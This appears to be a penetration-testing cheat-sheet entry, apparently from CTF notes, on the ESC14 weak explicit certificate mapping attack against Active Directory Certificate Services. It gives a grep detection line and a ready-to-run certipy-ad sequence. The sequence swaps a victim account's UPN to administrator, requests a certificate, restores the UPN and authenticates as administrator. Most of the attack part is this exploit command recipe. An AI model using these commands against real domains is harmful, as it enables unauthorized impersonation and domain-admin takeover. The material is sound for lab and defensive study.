ESC14

ESC14 — Weak Explicit Mapping

External: Hacker Recipes — ESC14

External: Internal All The Things — Certificate ESC14

Idea: Template uses explicit certificate mapping but mapping is weak (UPN-only, no strong SID binding) → request or swap UPN to impersonate target — similar to ESC9 / ESC10.

Detect

grep -i ESC14 *_Certipy.txt

Exploit

Depends on find output — often:

1. GenericWrite on victim → ESC9 UPN swap flow, or
2. Direct -upn on request if template allows (ESC1)

certipy-ad account update -username ATTACKER@domain.htb -p 'PASS' -user VICTIM -upn administrator@domain.htb
certipy-ad req -username VICTIM@domain.htb -hashes VICTIM_HASH -ca CA_NAME -template TEMPLATE
certipy-ad account update -username ATTACKER@domain.htb -p 'PASS' -user VICTIM -upn VICTIM@domain.htb
certipy-ad auth -pfx administrator.pfx -domain domain.htb

→ ESC9 · ESC10 · AD CS ESC